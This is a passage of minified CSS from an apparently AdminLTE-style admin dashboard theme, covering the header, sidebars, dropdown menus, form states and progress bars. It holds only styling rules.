auto;min-height:100%;box-shadow:0 0 8px rgba(0,0,0,.5);position:relative}.layout-boxed{background-color:#f9fafc}.content-wrapper,.main-footer{-webkit-transition:-webkit-transform .3s ease-in-out,margin .3s ease-in-out;-moz-transition:-moz-transform .3s ease-in-out,margin .3s ease-in-out;-o-transition:-o-transform .3s ease-in-out,margin .3s ease-in-out;transition:transform .3s ease-in-out,margin .3s ease-in-out;margin-left:230px;z-index:820}.layout-top-nav .content-wrapper,.layout-top-nav .main-footer{margin-left:0}@media (max-width:767px){.content-wrapper,.main-footer{margin-left:0}}@media (min-width:768px){.sidebar-collapse .content-wrapper,.sidebar-collapse .main-footer{margin-left:0}}@media (max-width:767px){.sidebar-open .content-wrapper,.sidebar-open .main-footer{-webkit-transform:translate(230px);-ms-transform:translate(230px);-o-transform:translate(230px);transform:translate(230px)}}.content-wrapper{min-height:calc(100vh - 101px);background-color:#ecf0f5;z-index:800}@media (max-width:767px){.content-wrapper{min-height:calc(100vh - 151px)}}.main-footer{background:#fff;padding:15px;color:#444;border-top:1px solid #d2d6de}.fixed .left-side,.fixed .main-header,.fixed .main-sidebar{position:fixed}.fixed .main-header{top:0;right:0;left:0}.fixed .content-wrapper,.fixed .right-side{padding-top:50px}@media (max-width:767px){.fixed .content-wrapper,.fixed .right-side{padding-top:100px}}.fixed.layout-boxed .wrapper{max-width:100%}.fixed .wrapper{overflow:hidden}.hold-transition .content-wrapper,.hold-transition .left-side,.hold-transition .main-footer,.hold-transition .main-header .logo,.hold-transition .main-header .navbar,.hold-transition .main-sidebar,.hold-transition .menu-open .fa-angle-left,.hold-transition .right-side{-webkit-transition:none;-o-transition:none;transition:none}.content{min-height:250px;margin-right:auto;margin-left:auto;padding:15px}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{font-family:Source Sans Pro,sans-serif}a{color:#3c8dbc}a:active,a:focus,a:hover{outline:none;text-decoration:none;color:#72afd2}.page-header{margin:10px 0 20px;font-size:22px}.page-header>small{color:#666;display:block;margin-top:5px}.main-header{position:relative;max-height:100px;z-index:1030}.main-header .navbar{-webkit-transition:margin-left .3s ease-in-out;-o-transition:margin-left .3s ease-in-out;transition:margin-left .3s ease-in-out;margin-bottom:0;margin-left:230px;border:none;min-height:50px;border-radius:0}.layout-top-nav .main-header .navbar{margin-left:0}.main-header #navbar-search-input.form-control{background:hsla(0,0%,100%,.2);border-color:transparent}.main-header #navbar-search-input.form-control:active,.main-header #navbar-search-input.form-control:focus{border-color:rgba(0,0,0,.1);background:hsla(0,0%,100%,.9)}.main-header #navbar-search-input.form-control::-moz-placeholder{color:#ccc;opacity:1}.main-header #navbar-search-input.form-control:-ms-input-placeholder{color:#ccc}.main-header #navbar-search-input.form-control::-webkit-input-placeholder{color:#ccc}.main-header .navbar-custom-menu,.main-header .navbar-right{float:right}@media (max-width:991px){.main-header .navbar-custom-menu a,.main-header .navbar-right a{color:inherit;background:transparent}}@media (max-width:767px){.main-header .navbar-right{float:none}.navbar-collapse .main-header .navbar-right{margin:7.5px -15px}.main-header .navbar-right>li{color:inherit;border:0}}.main-header .sidebar-toggle{float:left;background-color:transparent;background-image:none;padding:15px;font-family:fontAwesome}.main-header .sidebar-toggle:before{content:"\f0c9"}.main-header .sidebar-toggle:hover{color:#fff}.main-header .sidebar-toggle:active,.main-header .sidebar-toggle:focus{background:transparent}.main-header .sidebar-toggle.fa5{font-family:"Font Awesome\ 5 Free"}.main-header .sidebar-toggle.fa5:before{content:"\f0c9";font-weight:900}.main-header .sidebar-toggle .icon-bar{display:none}.main-header .navbar .nav>li.user>a>.fa,.main-header .navbar .nav>li.user>a>.glyphicon,.main-header .navbar .nav>li.user>a>.ion{margin-right:5px}.main-header .navbar .nav>li>a>.label{position:absolute;top:9px;right:7px;text-align:center;font-size:9px;padding:2px 3px;line-height:.9}.main-header .logo{-webkit-transition:width .3s ease-in-out;-o-transition:width .3s ease-in-out;transition:width .3s ease-in-out;display:block;float:left;height:50px;font-size:20px;line-height:50px;text-align:center;width:230px;font-family:Helvetica Neue,Helvetica,Arial,sans-serif;padding:0 15px;font-weight:300;overflow:hidden}.main-header .logo img{padding:4px;object-fit:contain;margin:0 auto}.main-header .logo .logo-lg{display:block}.main-header .logo .logo-lg img{max-width:200px;max-height:50px}.main-header .logo .logo-lg .brandlogo-image{margin-top:8px;margin-right:10px;margin-left:-5px}.main-header .logo .logo-mini{display:none}.main-header .logo .logo-mini img{max-width:50px;max-height:50px}.main-header .logo .logo-mini .brandlogo-image{margin-top:8px;margin-right:10px;margin-left:10px}.main-header .logo .brandlogo-image{float:left;height:34px;width:auto}.main-header .navbar-brand{color:#fff}.content-header{position:relative;padding:15px 15px 0}.content-header>h1{margin:0;font-size:24px}.content-header>h1>small{font-size:15px;display:inline-block;padding-left:4px;font-weight:300}.content-header>.breadcrumb{margin-top:0;margin-bottom:0;font-size:12px;padding:7px 5px;top:15px;right:10px;border-radius:2px}.content-header>.breadcrumb>li>a{color:#444;text-decoration:none;display:inline-block}.content-header>.breadcrumb>li>a>.fa,.content-header>.breadcrumb>li>a>.glyphicon,.content-header>.breadcrumb>li>a>.ion{margin-right:5px}.content-header>.breadcrumb>li+li:before{content:">\00a0"}@media (max-width:991px){.content-header>.breadcrumb{position:relative;margin-top:5px;top:0;right:0;float:none;background:#d2d6de;padding-left:10px}.content-header>.breadcrumb li:before{color:#97a0b3}}.navbar-toggle{color:#fff;border:0;margin:0;padding:15px}@media (max-width:991px){.navbar-custom-menu .navbar-nav>li{float:left}.navbar-custom-menu .navbar-nav{margin:0;float:left}.navbar-custom-menu .navbar-nav>li>a{padding-top:15px;padding-bottom:15px;line-height:20px}}@media (max-width:767px){.main-header{position:relative}.main-header .logo,.main-header .navbar{width:100%;float:none}.main-header .navbar{margin:0}.main-header .navbar-custom-menu{float:right}}@media (max-width:991px){.navbar-collapse.pull-left{float:none!important}.navbar-collapse.pull-left+.navbar-custom-menu{display:block;position:absolute;top:0;right:40px}}.main-sidebar{position:absolute;top:0;left:0;padding-top:50px;min-height:100%;width:230px;z-index:810;-webkit-transition:-webkit-transform .3s ease-in-out,width .3s ease-in-out;-moz-transition:-moz-transform .3s ease-in-out,width .3s ease-in-out;-o-transition:-o-transform .3s ease-in-out,width .3s ease-in-out;transition:transform .3s ease-in-out,width .3s ease-in-out}@media (max-width:767px){.main-sidebar{padding-top:100px;-webkit-transform:translate(-230px);-ms-transform:translate(-230px);-o-transform:translate(-230px);transform:translate(-230px)}}@media (min-width:768px){.sidebar-collapse .main-sidebar{-webkit-transform:translate(-230px);-ms-transform:translate(-230px);-o-transform:translate(-230px);transform:translate(-230px)}}@media (max-width:767px){.sidebar-open .main-sidebar{-webkit-transform:translate(0);-ms-transform:translate(0);-o-transform:translate(0);transform:translate(0)}}.sidebar{padding-bottom:10px}.sidebar-form input:focus{border-color:transparent}.user-panel{position:relative;width:100%;padding:10px;overflow:hidden}.user-panel:after,.user-panel:before{content:" ";display:table}.user-panel:after{clear:both}.user-panel>.image>img{width:100%;max-width:45px;height:auto}.user-panel>.info{padding:5px 5px 5px 15px;line-height:1;position:absolute;left:55px}.user-panel>.info>p{font-weight:600;margin-bottom:9px}.user-panel>.info>a{text-decoration:none;padding-right:5px;margin-top:3px;font-size:11px}.user-panel>.info>a>.fa,.user-panel>.info>a>.glyphicon,.user-panel>.info>a>.ion{margin-right:3px}.sidebar-menu{list-style:none;margin:0;padding:0}.sidebar-menu>li{position:relative;margin:0;padding:0}.sidebar-menu>li>a{padding:12px 5px 12px 15px;display:block}.sidebar-menu>li>a>.fa,.sidebar-menu>li>a>.glyphicon,.sidebar-menu>li>a>.ion{width:20px}.sidebar-menu>li .badge,.sidebar-menu>li .label{margin-right:5px}.sidebar-menu>li .badge{margin-top:3px}.sidebar-menu li.header{padding:10px 25px 10px 15px;font-size:12px}.sidebar-menu li>a>.fa-angle-left,.sidebar-menu li>a>.pull-right-container>.fa-angle-left{width:auto;height:auto;padding:0;margin-right:10px;-webkit-transition:transform .5s ease;-o-transition:transform .5s ease;transition:transform .5s ease}.sidebar-menu li>a>.fa-angle-left{position:absolute;top:50%;right:10px;margin-top:-8px}.sidebar-menu .menu-open>a>.fa-angle-left,.sidebar-menu .menu-open>a>.pull-right-container>.fa-angle-left{-webkit-transform:rotate(-90deg);-ms-transform:rotate(-90deg);-o-transform:rotate(-90deg);transform:rotate(-90deg)}.sidebar-menu .active>.treeview-menu{display:block}@media (min-width:768px){.sidebar-mini.sidebar-collapse .content-wrapper,.sidebar-mini.sidebar-collapse .main-footer,.sidebar-mini.sidebar-collapse .right-side{margin-left:50px!important;z-index:840}.sidebar-mini.sidebar-collapse .main-sidebar{-webkit-transform:translate(0);-ms-transform:translate(0);-o-transform:translate(0);transform:translate(0);width:50px!important;z-index:850}.sidebar-mini.sidebar-collapse .sidebar-menu>li{position:relative}.sidebar-mini.sidebar-collapse .sidebar-menu>li>a{margin-right:0}.sidebar-mini.sidebar-collapse .sidebar-menu>li>a>span{border-top-right-radius:4px}.sidebar-mini.sidebar-collapse .sidebar-menu>li:not(.treeview)>a>span{border-bottom-right-radius:4px}.sidebar-mini.sidebar-collapse .sidebar-menu>li>.treeview-menu{padding-top:5px;padding-bottom:5px;border-bottom-right-radius:4px}.sidebar-mini.sidebar-collapse .main-sidebar .user-panel>.info,.sidebar-mini.sidebar-collapse .sidebar-form,.sidebar-mini.sidebar-collapse .sidebar-menu>li>.treeview-menu,.sidebar-mini.sidebar-collapse .sidebar-menu>li>a>.pull-right,.sidebar-mini.sidebar-collapse .sidebar-menu>li>a>span,.sidebar-mini.sidebar-collapse .sidebar-menu>li>a>span>.pull-right,.sidebar-mini.sidebar-collapse .sidebar-menu li.header{display:none!important;-webkit-transform:translateZ(0)}.sidebar-mini.sidebar-collapse .main-header .logo{width:50px}.sidebar-mini.sidebar-collapse .main-header .logo>.logo-mini{display:block;margin-left:-15px;margin-right:-15px;font-size:18px}.sidebar-mini.sidebar-collapse .main-header .logo>.logo-lg{display:none}.sidebar-mini.sidebar-collapse .main-header .navbar{margin-left:50px}}@media (min-width:768px){.sidebar-mini:not(.sidebar-mini-expand-feature).sidebar-collapse .sidebar-menu>li:hover>.treeview-menu,.sidebar-mini:not(.sidebar-mini-expand-feature).sidebar-collapse .sidebar-menu>li:hover>a>span:not(.pull-right){display:block!important;position:absolute;width:180px;left:50px}.sidebar-mini:not(.sidebar-mini-expand-feature).sidebar-collapse .sidebar-menu>li:hover>a>span{top:0;margin-left:-3px;padding:12px 5px 12px 20px;background-color:inherit}.sidebar-mini:not(.sidebar-mini-expand-feature).sidebar-collapse .sidebar-menu>li:hover>a>.pull-right-container{position:relative!important;float:right;width:auto!important;left:180px!important;top:-22px!important;z-index:900}.sidebar-mini:not(.sidebar-mini-expand-feature).sidebar-collapse .sidebar-menu>li:hover>a>.pull-right-container>.label:not(:first-of-type){display:none}.sidebar-mini:not(.sidebar-mini-expand-feature).sidebar-collapse .sidebar-menu>li:hover>.treeview-menu{top:44px;margin-left:0}}.sidebar-expanded-on-hover .content-wrapper,.sidebar-expanded-on-hover .main-footer{margin-left:50px}.sidebar-expanded-on-hover .main-sidebar{box-shadow:3px 0 8px rgba(0,0,0,.125)}.main-sidebar .user-panel,.sidebar-menu,.sidebar-menu>li.header{white-space:nowrap;overflow:hidden}.sidebar-menu:hover{overflow:visible}.sidebar-form,.sidebar-menu>li.header{overflow:hidden;text-overflow:clip}.sidebar-menu li>a{position:relative}.sidebar-menu li>a>.pull-right-container{position:absolute;right:10px;top:50%;margin-top:-7px}.control-sidebar-bg{position:fixed;z-index:1000;bottom:0}.control-sidebar,.control-sidebar-bg{top:0;right:-230px;width:230px;-webkit-transition:right .3s ease-in-out;-o-transition:right .3s ease-in-out;transition:right .3s ease-in-out}.control-sidebar{position:absolute;padding-top:50px;z-index:1010}@media (max-width:767px){.control-sidebar{padding-top:100px}}.control-sidebar>.tab-content{padding:10px 15px}.control-sidebar.control-sidebar-open,.control-sidebar.control-sidebar-open+.control-sidebar-bg{right:0}.control-sidebar-hold-transition .content-wrapper,.control-sidebar-hold-transition .control-sidebar,.control-sidebar-hold-transition .control-sidebar-bg{transition:none}.control-sidebar-open .control-sidebar,.control-sidebar-open .control-sidebar-bg{right:0}@media (min-width:768px){.control-sidebar-open .content-wrapper,.control-sidebar-open .main-footer,.control-sidebar-open .right-side{margin-right:230px}}.fixed .control-sidebar{position:fixed;height:100%;overflow-y:auto;padding-bottom:50px}.nav-tabs.control-sidebar-tabs>li:first-of-type>a,.nav-tabs.control-sidebar-tabs>li:first-of-type>a:focus,.nav-tabs.control-sidebar-tabs>li:first-of-type>a:hover{border-left-width:0}.nav-tabs.control-sidebar-tabs>li>a{border-radius:0}.nav-tabs.control-sidebar-tabs>li>a,.nav-tabs.control-sidebar-tabs>li>a:hover{border:1px solid transparent;border-top:none;border-right:none}.nav-tabs.control-sidebar-tabs>li>a .icon{font-size:16px}.nav-tabs.control-sidebar-tabs>li.active>a,.nav-tabs.control-sidebar-tabs>li.active>a:active,.nav-tabs.control-sidebar-tabs>li.active>a:focus,.nav-tabs.control-sidebar-tabs>li.active>a:hover{border-top:none;border-right:none;border-bottom:none}@media (max-width:768px){.nav-tabs.control-sidebar-tabs{display:table}.nav-tabs.control-sidebar-tabs>li{display:table-cell}}.control-sidebar-heading{font-weight:400;font-size:16px;padding:10px 0;margin-bottom:10px}.control-sidebar-subheading{display:block;font-weight:400;font-size:14px}.control-sidebar-menu{list-style:none;padding:0;margin:0 -15px}.control-sidebar-menu>li>a{display:block;padding:10px 15px}.control-sidebar-menu>li>a:after,.control-sidebar-menu>li>a:before{content:" ";display:table}.control-sidebar-menu>li>a:after{clear:both}.control-sidebar-menu>li>a>.control-sidebar-subheading{margin-top:0}.control-sidebar-menu .menu-icon{float:left;width:35px;height:35px;border-radius:50%;text-align:center;line-height:35px}.control-sidebar-menu .menu-info{margin-left:45px;margin-top:3px}.control-sidebar-menu .menu-info>.control-sidebar-subheading{margin:0}.control-sidebar-menu .menu-info>p{margin:0;font-size:11px}.control-sidebar-menu .progress{margin:0}.control-sidebar-dark{color:#b8c7ce}.control-sidebar-dark,.control-sidebar-dark+.control-sidebar-bg{background:#222d32}.control-sidebar-dark .nav-tabs.control-sidebar-tabs{border-bottom:#1c2529}.control-sidebar-dark .nav-tabs.control-sidebar-tabs>li>a{background:#181f23;color:#b8c7ce}.control-sidebar-dark .nav-tabs.control-sidebar-tabs>li>a,.control-sidebar-dark .nav-tabs.control-sidebar-tabs>li>a:focus,.control-sidebar-dark .nav-tabs.control-sidebar-tabs>li>a:hover{border-left-color:#141a1d;border-bottom-color:#141a1d}.control-sidebar-dark .nav-tabs.control-sidebar-tabs>li>a:active,.control-sidebar-dark .nav-tabs.control-sidebar-tabs>li>a:focus,.control-sidebar-dark .nav-tabs.control-sidebar-tabs>li>a:hover{background:#1c2529}.control-sidebar-dark .nav-tabs.control-sidebar-tabs>li>a:hover{color:#fff}.control-sidebar-dark .nav-tabs.control-sidebar-tabs>li.active>a,.control-sidebar-dark .nav-tabs.control-sidebar-tabs>li.active>a:active,.control-sidebar-dark .nav-tabs.control-sidebar-tabs>li.active>a:focus,.control-sidebar-dark .nav-tabs.control-sidebar-tabs>li.active>a:hover{background:#222d32;color:#fff}.control-sidebar-dark .control-sidebar-heading,.control-sidebar-dark .control-sidebar-subheading{color:#fff}.control-sidebar-dark .control-sidebar-menu>li>a:hover{background:#1e282c}.control-sidebar-dark .control-sidebar-menu>li>a .menu-info>p{color:#b8c7ce}.control-sidebar-light{color:#5e5e5e}.control-sidebar-light,.control-sidebar-light+.control-sidebar-bg{background:#f9fafc;border-left:1px solid #d2d6de}.control-sidebar-light .nav-tabs.control-sidebar-tabs{border-bottom:#d2d6de}.control-sidebar-light .nav-tabs.control-sidebar-tabs>li>a{background:#e8ecf4;color:#444}.control-sidebar-light .nav-tabs.control-sidebar-tabs>li>a,.control-sidebar-light .nav-tabs.control-sidebar-tabs>li>a:focus,.control-sidebar-light .nav-tabs.control-sidebar-tabs>li>a:hover{border-left-color:#d2d6de;border-bottom-color:#d2d6de}.control-sidebar-light .nav-tabs.control-sidebar-tabs>li>a:active,.control-sidebar-light .nav-tabs.control-sidebar-tabs>li>a:focus,.control-sidebar-light .nav-tabs.control-sidebar-tabs>li>a:hover{background:#eff1f7}.control-sidebar-light .nav-tabs.control-sidebar-tabs>li.active>a,.control-sidebar-light .nav-tabs.control-sidebar-tabs>li.active>a:active,.control-sidebar-light .nav-tabs.control-sidebar-tabs>li.active>a:focus,.control-sidebar-light .nav-tabs.control-sidebar-tabs>li.active>a:hover{background:#f9fafc;color:#111}.control-sidebar-light .control-sidebar-heading,.control-sidebar-light .control-sidebar-subheading{color:#111}.control-sidebar-light .control-sidebar-menu{margin-left:-14px}.control-sidebar-light .control-sidebar-menu>li>a:hover{background:#f4f4f5}.control-sidebar-light .control-sidebar-menu>li>a .menu-info>p{color:#5e5e5e}.dropdown-menu{box-shadow:none;border-color:#eee}.dropdown-menu>li>a{color:#777}.dropdown-menu>li>a>.fa,.dropdown-menu>li>a>.glyphicon,.dropdown-menu>li>a>.ion{margin-right:10px}.dropdown-menu>li>a:hover{background-color:#e1e3e9;color:#333}.dropdown-menu>.divider{background-color:#eee}.navbar-nav>.messages-menu>.dropdown-menu,.navbar-nav>.notifications-menu>.dropdown-menu,.navbar-nav>.tasks-menu>.dropdown-menu{width:280px;padding:0;margin:0;top:100%}.navbar-nav>.messages-menu>.dropdown-menu>li,.navbar-nav>.notifications-menu>.dropdown-menu>li,.navbar-nav>.tasks-menu>.dropdown-menu>li{position:relative}.navbar-nav>.messages-menu>.dropdown-menu>li.header,.navbar-nav>.notifications-menu>.dropdown-menu>li.header,.navbar-nav>.tasks-menu>.dropdown-menu>li.header{border-top-left-radius:4px;border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0;background-color:#fff;padding:7px 10px;border-bottom:1px solid #f4f4f4;color:#444;font-size:14px}.navbar-nav>.messages-menu>.dropdown-menu>li.footer>a,.navbar-nav>.notifications-menu>.dropdown-menu>li.footer>a,.navbar-nav>.tasks-menu>.dropdown-menu>li.footer>a{border-top-left-radius:0;border-top-right-radius:0;border-bottom-right-radius:4px;border-bottom-left-radius:4px;font-size:12px;background-color:#fff;padding:7px 10px;border-bottom:1px solid #eee;color:#444!important;text-align:center}@media (max-width:991px){.navbar-nav>.messages-menu>.dropdown-menu>li.footer>a,.navbar-nav>.notifications-menu>.dropdown-menu>li.footer>a,.navbar-nav>.tasks-menu>.dropdown-menu>li.footer>a{background:#fff!important;color:#444!important}}.navbar-nav>.messages-menu>.dropdown-menu>li.footer>a:hover,.navbar-nav>.notifications-menu>.dropdown-menu>li.footer>a:hover,.navbar-nav>.tasks-menu>.dropdown-menu>li.footer>a:hover{text-decoration:none;font-weight:400}.navbar-nav>.messages-menu>.dropdown-menu>li .menu,.navbar-nav>.notifications-menu>.dropdown-menu>li .menu,.navbar-nav>.tasks-menu>.dropdown-menu>li .menu{max-height:200px;margin:0;padding:0;list-style:none;overflow-x:hidden}.navbar-nav>.messages-menu>.dropdown-menu>li .menu>li>a,.navbar-nav>.notifications-menu>.dropdown-menu>li .menu>li>a,.navbar-nav>.tasks-menu>.dropdown-menu>li .menu>li>a{display:block;white-space:nowrap;border-bottom:1px solid #f4f4f4}.navbar-nav>.messages-menu>.dropdown-menu>li .menu>li>a:hover,.navbar-nav>.notifications-menu>.dropdown-menu>li .menu>li>a:hover,.navbar-nav>.tasks-menu>.dropdown-menu>li .menu>li>a:hover{background:#f4f4f4;text-decoration:none}.navbar-nav>.notifications-menu>.dropdown-menu>li .menu>li>a{color:#444;overflow:hidden;text-overflow:ellipsis;padding:10px}.navbar-nav>.notifications-menu>.dropdown-menu>li .menu>li>a>.fa,.navbar-nav>.notifications-menu>.dropdown-menu>li .menu>li>a>.glyphicon,.navbar-nav>.notifications-menu>.dropdown-menu>li .menu>li>a>.ion{width:20px}.navbar-nav>.messages-menu>.dropdown-menu>li .menu>li>a{margin:0;padding:10px}.navbar-nav>.messages-menu>.dropdown-menu>li .menu>li>a>div>img{margin:auto 10px auto auto;width:40px;height:40px}.navbar-nav>.messages-menu>.dropdown-menu>li .menu>li>a>h4{padding:0;margin:0 0 0 45px;color:#444;font-size:15px;position:relative}.navbar-nav>.messages-menu>.dropdown-menu>li .menu>li>a>h4>small{color:#999;font-size:10px;position:absolute;top:0;right:0}.navbar-nav>.messages-menu>.dropdown-menu>li .menu>li>a>p{margin:0 0 0 45px;font-size:12px;color:#888}.navbar-nav>.messages-menu>.dropdown-menu>li .menu>li>a:after,.navbar-nav>.messages-menu>.dropdown-menu>li .menu>li>a:before{content:" ";display:table}.navbar-nav>.messages-menu>.dropdown-menu>li .menu>li>a:after{clear:both}.navbar-nav>.tasks-menu>.dropdown-menu>li .menu>li>a{padding:10px}.navbar-nav>.tasks-menu>.dropdown-menu>li .menu>li>a>h3{font-size:14px;padding:0;margin:0 0 10px;color:#666}.navbar-nav>.tasks-menu>.dropdown-menu>li .menu>li>a>.progress{padding:0;margin:0}.navbar-nav>.user-menu>.dropdown-menu{border-top-right-radius:0;border-top-left-radius:0;padding:1px 0 0;border-top-width:0;width:280px}.navbar-nav>.user-menu>.dropdown-menu,.navbar-nav>.user-menu>.dropdown-menu>.user-body{border-bottom-right-radius:4px;border-bottom-left-radius:4px}.navbar-nav>.user-menu>.dropdown-menu>li.user-header{height:175px;padding:10px;text-align:center}.navbar-nav>.user-menu>.dropdown-menu>li.user-header>img{z-index:5;height:90px;width:90px;border:3px solid hsla(0,0%,100%,.2)}.navbar-nav>.user-menu>.dropdown-menu>li.user-header>p{z-index:5;color:#fff;color:hsla(0,0%,100%,.8);font-size:17px;margin-top:10px}.navbar-nav>.user-menu>.dropdown-menu>li.user-header>p>small{display:block;font-size:12px}.navbar-nav>.user-menu>.dropdown-menu>.user-body{padding:15px;border-bottom:1px solid #f4f4f4;border-top:1px solid #ddd}.navbar-nav>.user-menu>.dropdown-menu>.user-body:after,.navbar-nav>.user-menu>.dropdown-menu>.user-body:before{content:" ";display:table}.navbar-nav>.user-menu>.dropdown-menu>.user-body:after{clear:both}.navbar-nav>.user-menu>.dropdown-menu>.user-body a{color:#444!important}@media (max-width:991px){.navbar-nav>.user-menu>.dropdown-menu>.user-body a{background:#fff!important;color:#444!important}}.navbar-nav>.user-menu>.dropdown-menu>.user-footer{background-color:#f9f9f9;padding:10px}.navbar-nav>.user-menu>.dropdown-menu>.user-footer:after,.navbar-nav>.user-menu>.dropdown-menu>.user-footer:before{content:" ";display:table}.navbar-nav>.user-menu>.dropdown-menu>.user-footer:after{clear:both}.navbar-nav>.user-menu>.dropdown-menu>.user-footer .btn-default{color:#666}@media (max-width:991px){.navbar-nav>.user-menu>.dropdown-menu>.user-footer .btn-default:hover{background-color:#f9f9f9}}.navbar-nav>.user-menu .user-image{float:left;width:25px;height:25px;border-radius:50%;margin-right:10px;margin-top:-2px}@media (max-width:767px){.navbar-nav>.user-menu .user-image{float:none;margin-right:0;margin-top:-8px;line-height:10px}}.open:not(.dropup)>.animated-dropdown-menu{backface-visibility:visible!important;-webkit-animation:flipInX .7s both;-o-animation:flipInX .7s both;animation:flipInX .7s both}@keyframes flipInX{0%{transform:perspective(400px) rotateX(90deg);transition-timing-function:ease-in;opacity:0}40%{transform:perspective(400px) rotateX(-20deg);transition-timing-function:ease-in}60%{transform:perspective(400px) rotateX(10deg);opacity:1}80%{transform:perspective(400px) rotateX(-5deg)}to{transform:perspective(400px)}}@-webkit-keyframes flipInX{0%{-webkit-transform:perspective(400px) rotateX(90deg);-webkit-transition-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateX(-20deg);-webkit-transition-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateX(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateX(-5deg)}to{-webkit-transform:perspective(400px)}}.navbar-custom-menu>.navbar-nav>li{position:relative}.navbar-custom-menu>.navbar-nav>li>.dropdown-menu{position:absolute;right:0;left:auto}@media (max-width:991px){.navbar-custom-menu>.navbar-nav{float:right}.navbar-custom-menu>.navbar-nav>li{position:static}.navbar-custom-menu>.navbar-nav>li>.dropdown-menu{position:absolute;right:5%;left:auto;border:1px solid #ddd;background:#fff}}.form-control{border-radius:0;box-shadow:none;border-color:#d2d6de}.form-control:focus{border-color:#3c8dbc;box-shadow:none}.form-control:-ms-input-placeholder,.form-control::-moz-placeholder,.form-control::-webkit-input-placeholder{color:#bbb;opacity:1}.form-control:not(select){-webkit-appearance:none;-moz-appearance:none;appearance:none}.form-group.has-success label{color:#00a65a}.form-group.has-success .form-control,.form-group.has-success .input-group-addon{border-color:#00a65a;box-shadow:none}.form-group.has-success .help-block{color:#00a65a}.form-group.has-warning label{color:#f39c12}.form-group.has-warning .form-control,.form-group.has-warning .input-group-addon{border-color:#f39c12;box-shadow:none}.form-group.has-warning .help-block{color:#f39c12}.form-group.has-error label{color:#dd4b39}.form-group.has-error .form-control,.form-group.has-error .input-group-addon{border-color:#dd4b39;box-shadow:none}.form-group.has-error .help-block{color:#dd4b39}.input-group .input-group-addon{border-radius:0;border-color:#d2d6de;background-color:#fff}.btn-group-vertical .btn.btn-flat:first-of-type,.btn-group-vertical .btn.btn-flat:last-of-type{border-radius:0}.icheck>label{padding-left:0}.form-control-feedback.fa{line-height:34px}.form-group-lg .form-control+.form-control-feedback.fa,.input-group-lg+.form-control-feedback.fa,.input-lg+.form-control-feedback.fa{line-height:46px}.form-group-sm .form-control+.form-control-feedback.fa,.input-group-sm+.form-control-feedback.fa,.input-sm+.form-control-feedback.fa{line-height:30px}.progress,.progress>.progress-bar{-webkit-box-shadow:none;box-shadow:none}.progress,.progress .progress-bar,.progress>.progress-bar,.progress>.progress-bar .progress-bar{border-radius:1px}.progress-sm,.progress.sm{height:10px}.progress-sm,.progress-sm .progress-bar,.progress.sm,.progress.sm .progress-bar{border-radius:1px}.progress-xs,.progress.xs{height:7px}.progress-xs,.progress-xs .progress-bar,.progress.xs,.progress.xs .progress-bar{border-radius:1px}.progress-xxs,.progress.xxs{height:3px}.progress-xxs,.progress-xxs .progress-bar,.progress.xxs,.progress.xxs .progress-bar{border-radius:1px}.progress.vertical{position:relative;width:30px;height:200px;display:inline-block;margin-right:10px}.progress.vertical>.progress-bar{width:100%;position:absolute;bottom:0}.progress.vertical.progress-sm,.progress.vertical.sm{width:20px}.progress.vertical.progress-xs,.progress.vertical.xs{width:10px}.progress.vertical.progress-xxs,.progress.vertical.xxs{width:3px}.progress-group .progress-text{font-weight:600}.progress-group .progress-number{float:right}.table tr>td .progress{margin:0}.progress-bar-light-blue,.progress-bar-primary{background-color:#3c8dbc}.progress-striped .progress-bar-light-blue,.progress-striped .progress-bar-primary{background-image:-webkit-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent);background-image:-o-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 25%,transparent 50%,hsla(0,0%,100%,.15) 50%,hsla(0,0%,100%,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent)}.progress-bar-green,.progress-bar-success{background-color:#00a65a}.progress-striped .progress-bar-green,.progress-striped .progress-bar-success{background-image:-webkit-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent);background-image:-o-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 25%,transparent 50%,hsla(0,0%,100%,.15) 50%,hsla(0,0%,100%,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent)}.progress-bar-aqua,.progress-bar-info{background-color:#00c0ef}.progress-striped .progress-bar-aqua,.progress-striped .progress-bar-info{background-image:-webkit-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent);background-image:-o-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 25%,transparent 50%,hsla(0,0%,100%,.15) 50%,hsla(0,0%,100%,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent)}.progress-bar-warning,.progress-bar-yellow{background-color:#f39c12}.progress-striped .progress-bar-warning,.progress-striped .progress-bar-yellow{background-image:-webkit-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent);background-image:-o-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 25%,transparent 50%,hsla(0,0%,100%,.15) 50%,hsla(0,0%,100%,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent)}.progress-bar-danger,.progress-bar-red{background-color:#dd4b39}.progress-striped .progress-bar-danger,.progress-striped .progress-bar-red{background-image:-webkit-linear-gradient(45deg,hsla(0,0%,100%,.15) 